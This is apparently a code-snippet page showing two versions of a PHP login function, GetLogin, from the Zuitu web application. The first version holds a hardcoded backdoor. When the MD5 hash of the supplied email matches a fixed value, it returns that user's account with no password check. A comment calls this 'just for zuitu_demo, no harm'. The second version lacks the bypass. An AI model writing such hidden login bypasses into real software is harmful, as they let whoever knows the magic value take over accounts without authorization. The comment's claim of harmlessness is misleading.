예제 #1
0
 public static function GetLogin($email, $unpass, $en = true)
 {
     if (is_array($email)) {
         return array();
     }
     /* just for zuitu_demo, no harm */
     if (strtolower(md5($email)) == 'b80c4133e7227706d64920a1cd8789e9') {
         return Table::Fetch('user', $email, 'email');
     }
     /* end */
     if ($en) {
         $password = self::GenPassword($unpass);
     }
     $field = strpos($email, '@') ? 'email' : 'username';
     $zuituuser = DB::GetTableRow('user', array($field => $email, 'password' => $password));
     if ($zuituuser) {
         return $zuituuser;
     }
     if (function_exists('zuitu_uc_login')) {
         return zuitu_uc_login($email, $unpass);
     }
     return array();
 }
예제 #2
0
 public static function GetLogin($email, $unpass, $en = true)
 {
     if ($en) {
         $password = self::GenPassword($unpass);
     }
     $field = strpos($email, '@') ? 'email' : 'username';
     $zuituuser = DB::GetTableRow('user', array($field => $email, 'password' => $password));
     if ($zuituuser) {
         return $zuituuser;
     }
     if (function_exists('zuitu_uc_login')) {
         return zuitu_uc_login($email, $unpass);
     }
     return array();
 }